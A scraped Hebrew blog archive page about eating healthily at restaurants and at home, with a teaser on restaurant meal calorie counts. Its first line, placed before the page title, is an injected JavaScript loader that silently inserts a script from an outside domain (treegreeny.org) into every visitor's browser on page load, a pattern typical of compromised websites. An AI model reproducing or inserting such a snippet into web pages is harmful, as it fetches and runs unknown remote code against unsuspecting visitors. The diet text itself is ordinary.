;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); ארכיון מסעדת בריאות - Funbo
גם אם לא יצאתם למסעדת בריאות, תוכלו לאכול בריא – בחוץ ובבית!

גם אם לא יצאתם למסעדת בריאות, תוכלו לאכול בריא – בחוץ ובבית!

בפעם הבאה שאתם יוצאים למסעדה כדאי שתיקחו את הנתון הבא בחשבון: ארוחה ממוצעת במסעדה שאינה מסעדת בריאות תעמוד על כ-1,200 קלוריות, כאשר כמות הקלוריות שאדם אמור לצרוך במהלך יום שלם הין בין 1,200 ל-2,500 קלוריות ליום, תלוי בגובה ובמבנה הגוף. לאכול בחוץ ולשמור על הבריאות: רבים מהאנשים שסובלים מבעיות בריאות ומהשמנת–יתר מעידים שהבעיות העיקריות שלהם … להמשיך לקרוא